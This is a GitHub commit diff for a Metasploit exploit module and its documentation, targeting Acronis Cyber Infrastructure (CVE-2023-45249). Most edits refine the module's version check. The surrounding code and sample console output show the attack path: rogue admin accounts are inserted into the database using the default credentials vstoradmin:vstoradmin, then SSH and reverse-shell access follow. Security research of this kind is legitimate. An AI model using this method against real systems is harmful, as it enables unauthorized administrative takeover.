Skip to content

Commit 9971aed

Browse files
committed
third release addressing majority of the review comments
1 parent d7fa23f commit 9971aed

File tree

2 files changed

+24
-17
lines changed

2 files changed

+24
-17
lines changed

documentation/modules/exploit/linux/http/acronis_cyber_infra_cve_2023_45249.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -137,12 +137,12 @@ View the full module info with the info -d command
137137
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set rhosts 192.168.201.5
138138
rhosts => 192.168.201.5
139139
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > check
140-
[*] 192.168.201.5:8888 - The target appears to be vulnerable. Version 4.7.1.pre.53
140+
[*] 192.168.201.5:8888 - The target appears to be vulnerable. Version 4.7.1-53
141141
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit
142142
143143
[*] Started reverse TCP handler on 192.168.201.8:4444
144144
[*] Running automatic check ("set AutoCheck false" to disable)
145-
[+] The target appears to be vulnerable. Version 4.7.1.pre.53
145+
[+] The target appears to be vulnerable. Version 4.7.1-53
146146
[*] Creating admin user qagkx with password gXv0E2DUU9 for access at the Acronis Admin Portal.
147147
[*] Saving admin credentials at the msf database.
148148
[*] Creating SSH private and public key.
@@ -168,7 +168,7 @@ target => 1
168168
msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit
169169
170170
[*] Running automatic check ("set AutoCheck false" to disable)
171-
[+] The target appears to be vulnerable. Version 4.7.1.pre.53
171+
[+] The target appears to be vulnerable. Version 4.7.1-53
172172
[*] Creating admin user exvk1 with password NcwVNFNL3t for access at the Acronis Admin Portal.
173173
[*] Saving admin credentials at the msf database.
174174
[*] Creating SSH private and public key.

modules/exploits/linux/http/acronis_cyber_infra_cve_2023_45249.rb

Lines changed: 21 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -121,9 +121,8 @@ def run_query(query)
121121
end
122122
end
123123

124-
# add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin)
124+
# add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin)
125125
def add_admin_user(username, userid, password)
126-
127126
vprint_status("Creating admin user #{username} with userid #{userid}")
128127

129128
# add new admin user to the user table
@@ -159,10 +158,10 @@ def add_admin_user(username, userid, password)
159158
true
160159
end
161160

161+
# create SSH session.
162+
# based on the ssh_opts can this be key or password based.
163+
# if login is successfull, return true else return false. All other errors will trigger an immediate fail
162164
def do_sshlogin(ip, user, ssh_opts)
163-
# create SSH session.
164-
# based on the ssh_opts can this be key or password based.
165-
# if login is successfull, return true else return false. All other errors will trigger an immediate fail
166165
begin
167166
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
168167
self.ssh_socket = Net::SSH.start(ip, user, ssh_opts)
@@ -235,7 +234,7 @@ def execute_command(cmd, _opts = {})
235234
@timeout = true
236235
end
237236

238-
# Return ACI version-release or nil if not found
237+
# Return ACI version-release string or nil if not found
239238
def get_aci_version
240239
res = send_request_cgi({
241240
'method' => 'GET',
@@ -259,19 +258,27 @@ def get_aci_version
259258
release = res_json['storage-release']['release']
260259
return if release.nil?
261260

262-
Rex::Version.new("#{version}-#{release}".gsub(/[[:space:]]/, ''))
261+
"#{version}-#{release}".gsub(/[[:space:]]/, '')
263262
end
264263

265264
def check
266265
version_release = get_aci_version
267266
return CheckCode::Unknown('Could not retrieve the version information.') if version_release.nil?
268-
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.0.1-61')
269-
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.1.1-71')
270-
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.2.1-69')
271-
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.3.1-53')
272-
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.4.4-132')
273-
274-
CheckCode::Appears("Version #{version_release}")
267+
return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61')
268+
269+
case version_release.split(/\.\d-/)[0]
270+
when '5.0'
271+
return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61')
272+
when '5.1'
273+
return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.1.1-71')
274+
when '5.2'
275+
return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.2.1-69')
276+
when '5.3'
277+
return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.3.1-53')
278+
when '5.4'
279+
return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.4.4-132')
280+
end
281+
CheckCode::Safe("Version #{version_release}")
275282
end
276283

277284
def exploit

0 commit comments

Comments
 (0)